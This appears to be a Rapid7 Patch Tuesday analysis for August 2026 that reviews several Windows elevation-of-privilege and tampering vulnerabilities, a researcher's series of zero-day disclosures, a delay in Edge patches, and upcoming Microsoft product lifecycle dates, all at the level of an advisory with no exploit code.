Rapid7 has previously discussed the Windows Ancillary Function Driver for WinSock, and today it returns to center stage with another exploited-in-the-wild elevation-of-privilege vulnerability. Successful exploitation requires winning a race condition, which increases the difficulty of producing a stable exploit. This also helps keep the CVSS v3 base score down to 7.0, along with a Microsoft proprietary severity ranking of merely important, rather than critical. However, with no user interaction required, and a prize of SYSTEM-level access, CVE-2026-68820 is just what the doctor ordered, if the doctor is based in Pyongyang and wants to steal your cryptocurrency. Microsoft credits CVE-2026-68820 to researchers at Check Point (misspelled “Checkpoint” on the advisory). CVE-2026-68820 isn’t yet listed on CISA KEV, but it will be soon.

What’s the opposite of coordinated disclosure?

This month’s entry in the ongoing saga of Microsoft vs. a pseudonymous security researcher with a clear dislike of Microsoft comes in the form of CVE-2026-62832, an elevation of privilege vulnerability in the Windows User Profile Service. Exploitation leads to administrator rights on the local asset, and is achieved via a specially crafted application, which is Microsoft corporate argot for exploit code. Between the public disclosure and the FAQ, which describes an authenticated attacker who has credentials for another account and loads another user’s registry hive, the advisory is a solid match for Nightmare Eclipse’s description of LegacyHive, which Rapid7 discussed last month.

Patch Tuesday watchers will have been wondering whether Nightmare Eclipse would continue the pattern of the past few months by dropping yet another zero-day vuln late on Patch Tuesday to maximize friction and inconvenience for Microsoft. Wonder no more, because the new entry on this growing list of headaches is ShieldBreak. Nightmare Eclipse describes ShieldBreak as a full patch bypass for RoguePlanet, a previous entry in the series which Microsoft patched as CVE-2026-50656 during July, a month after its public disclosure. Both vulnerabilities are therefore elevation-of-privilege to SYSTEM vulnerabilities in Defender.

Container isolation filesystem driver: isolation failure, tampering

CVE-2026-72971 describes a tampering vulnerability in the Windows Container Isolation FS Filter Driver (unionfs.sys), where abuse of a flaw in the vulnerable driver presumably allows an unauthorized attacker to overwrite certain files. Since this might include an action taken within a container leading to an unauthorized impact outside the container, it might be surprising that the advisory claims no scope change. Presumably Microsoft is leaning on the fact that the vulnerability is within a driver which operates entirely within a single security authority, i.e. kernel space, so there is only one impacted component and no scope change according to the CVSS v3 spec. Still, the low CVSS v3 base score of 5.5 probably isn’t telling the whole story in this case.

Vulnerabilities classed as tampering are somewhat rare in the Microsoft corpus, making up just a few dozen of the thousands of unique vulnerabilities which MSRC has ever patched or otherwise addressed. CVE-2026-72971 isn’t mentioned in the Notable CVEs section of the new slimline Security Update Guide. Should it be? Perhaps, because Microsoft is aware of public disclosure in this case, but then again the categorization as tampering means that Microsoft is not currently aware of a path to a more severe impact such as elevation of privilege or code execution. The advisory acknowledges a pair of pseudonymous reporters, who also receive credit on at least 40 other advisories over the past few months, across a wide variety of Windows components and Microsoft Office, including 11 critical vulnerabilities.

Edge: update slowdown?

Typically, Microsoft patches a fair few browser vulnerabilities between the start of each month and that month’s Patch Tuesday, but not this month. Conspicuous by its absence at the time of Patch Tuesday publication today was Microsoft Edge, which receives regular batches of patches as a downstream consumer of Google Chromium. At the moment of Patch Tuesday publication, the desktop incarnations of Edge last received security patches on July 31, 2026. Meanwhile, the Chrome Stable Channel received patches for 41 vulnerabilities on August 6, 2026. Anyone responsible for assets with Microsoft Edge installed will be relieved to know that patches for Edge eventually emerged a few hours later on Patch Tuesday itself, but five days is still a longer unpatched gap between Chrome and Edge than has been typical in the past.

Microsoft lifecycle update

August is typically a quieter month for Microsoft product lifecycle transitions, and this year continues that pattern. The next lifecycle changes with broad impact occur on October 14, 2026, when Windows 11 24H2 Home & Pro reach end of servicing, and Windows Server 2022 moves to extended support, with free critical security updates continuing, but no further feature development. At the same time, the final curtain falls for Windows Server 2012 and 2012 R2 with the expiry of the third and final year of cash-for-updates Extended Security Update (ESU) program for these aging workhorses. Office 2021 also moves beyond support, including the Long-Term Servicing Channel, with no ESU available in that case. Also in October, Exchange Server 2016 and 2019 will join the “no ESU” club, after two previous six-month reprieves. Presumably, Microsoft really means it this time.

Summary charts

Summary tables

Vulnerabilities by Product Family

Apps vulnerabilities

Azure vulnerabilities

Browser vulnerabilities

Developer Tools vulnerabilities

ESU vulnerabilities

Microsoft Dynamics vulnerabilities

Microsoft Office vulnerabilities

Server Software vulnerabilities

SQL Server vulnerabilities

System Center vulnerabilities

Windows vulnerabilities